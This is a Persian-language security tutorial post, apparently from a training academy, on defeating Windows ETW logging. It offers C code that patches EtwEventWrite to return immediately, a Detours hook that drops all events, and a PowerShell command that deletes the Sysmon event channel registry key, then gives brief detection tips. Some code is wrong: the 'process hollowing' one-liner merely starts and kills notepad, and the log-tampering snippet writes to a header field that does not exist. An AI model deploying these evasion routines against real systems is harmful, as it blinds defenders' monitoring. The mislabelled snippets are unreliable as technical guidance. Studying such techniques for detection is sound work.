حملات علیه لاگ‌گیری ETW (Event Tracing for Windows) در ویندوز

✍️روزبه نوروزی

اینETW یک مکانیزم لاگ‌گیری کارآمد در ویندوز است که اطلاعات مفیدی درباره پردازش‌ها، API Calls، و رفتارهای شبکه‌ای ارائه می‌دهد. مهاجمان برای دور زدن ETW از تکنیک‌های مختلفی استفاده می‌کنند که در ادامه بررسی می‌کنیم.
🚨 1. غیرفعال‌سازی ETW در زمان اجرا

🔹 مهاجمان می‌توانند با تغییر برخی متغیرها یا استفاده از APIهای ویندوز، لاگ‌گیری را غیرفعال کنند.
🔹 روش: تغییر مقدار EtwEventWrite در حافظه تا باعث از کار افتادن لاگ‌گیری شود.
📌 نمونه کد (Patch کردن ETW در حافظه)

#include <windows.h>
#include <stdio.h>

void DisableETW() {
DWORD oldProtect;
void* etwAddr = (void*)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(etwAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3; // تغییر اولین بایت به RET
VirtualProtect(etwAddr, 1, oldProtect, &oldProtect);
}

int main() {
DisableETW();
printf("ETW Disabled!\n");
return 0;
}

🔍 این کد اولین دستور EtwEventWrite را به RET (0xC3) تغییر می‌دهد و باعث غیرفعال شدن لاگ‌گیری می‌شود.
🚨 2.انجام Hook کردن APIهای مربوط به ETW

🔹 مهاجمان می‌توانند EtwEventWrite را Hook کرده و کاری کنند که هیچ رویدادی ثبت نشود.
🔹 این روش اغلب در Rootkitها و بدافزارهای پیشرفته استفاده می‌شود.
📌 انجامHook کردن EtwEventWrite با Detours

#include <windows.h>
#include <detours.h>

typedef NTSTATUS (NTAPI* tEtwEventWrite)(HANDLE, LPCGUID, ULONG, ULONG, PVOID);
tEtwEventWrite pOriginalEtwEventWrite;

NTSTATUS NTAPI HookedEtwEventWrite(HANDLE RegHandle, LPCGUID EventDescriptor, ULONG UserDataCount, ULONG UserDataLength, PVOID UserData) {
return 0; // حذف همه لاگ‌ها
}

void HookETW() {
pOriginalEtwEventWrite = (tEtwEventWrite)GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
DetourAttach(&(PVOID&)pOriginalEtwEventWrite, HookedEtwEventWrite);
DetourTransactionCommit();
}

🔍 این کد مانع از ثبت هرگونه لاگ ETW می‌شود.
🚨 3. حذف رجیستری ETW Providers

🔹 مکانیزمETW از رجیستری برای ذخیره تنظیمات لاگ‌گیری استفاده می‌کند.
🔹 مهاجمان می‌توانند کلیدهای رجیستری مربوطه را حذف کنند تا ETW دیگر رویدادهای خاصی را ثبت نکند.
📌 دستور حذف Providerهای Sysmon از رجیستری

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational" -Force

🔍 با این کار، لاگ‌های Sysmon در ETW غیرفعال می‌شوند.
🚨 4. استفاده از پردازش‌های مجازی برای گمراه کردن ETW

🔹 بدافزارها می‌توانند از Process Hollowing یا Doppelgänging استفاده کنند تا فرآیندهای مخرب از دید ETW پنهان بمانند.
🔹 این روش‌ها باعث می‌شوند که پردازش واقعی چیزی به نظر برسد که نیست!

📌 روش اجرای Process Hollowing در PowerShell:

Start-Process "notepad.exe" -NoNewWindow -PassThru | %{ $_.id } | %{ Stop-Process -Id $_ -Force }

🔍 این کد می‌تواند پردازش‌های تقلبی ایجاد کند که لاگ‌های آنها در ETW بی‌اثر می‌شود.
🚨 5. استفاده از تکنیک "Tampering with ETW Events"

🔹 مهاجمان می‌توانند محتوای لاگ‌های ارسال‌شده به ETW را تغییر دهند.
🔹 این کار معمولاً با استفاده از Inline Hooking یا Kernel Mode Rootkit انجام می‌شود.

📌 روش تزریق DLL برای تغییر داده‌های لاگ‌شده:

BOOL WINAPI HookedEventWrite(EVENT_TRACE_HEADER *Header) {
strcpy((char*)Header->Buffer, "FAKE LOG DATA"); // تغییر داده‌ها
return TRUE;
}

🔍 این روش داده‌های ثبت‌شده در لاگ ETW را تغییر می‌دهد.


🔰 راهکارهای مقابله با حملات علیه ETW

✅ 1. مانیتورینگ Integrity NTDLL
🔹 ابزارهایی مثل Windows Defender ATP و Sysmon می‌توانند تغییرات در ntdll.dll را شناسایی کنند.
🔹 راهکار: اجرای دستور Sysmon برای شناسایی تغییرات غیرمجاز در EtwEventWrite:

<EventFiltering>
<Include>
<ImageLoad onmatch="include">
<ImageLoaded condition="contains">ntdll.dll</ImageLoaded>
</ImageLoad>
</Include>
</EventFiltering>

✅ 2. تشخیص Hookهای مشکوک با ابزارهای Memory Scanning
🔹 ابزارهایی مثل GMER و Volatility می‌توانند Hookهای مشکوک روی EtwEventWrite را شناسایی کنند.
🔹 دستور Volatility برای بررسی تغییرات در EtwEventWrite

volatility -f memory.dmp --profile=Win10x64 apihooks

ادامه در پست بعد

#من_آموزش_میدهم
#آکادمی_روزبه

Comments

Be the first to add a comment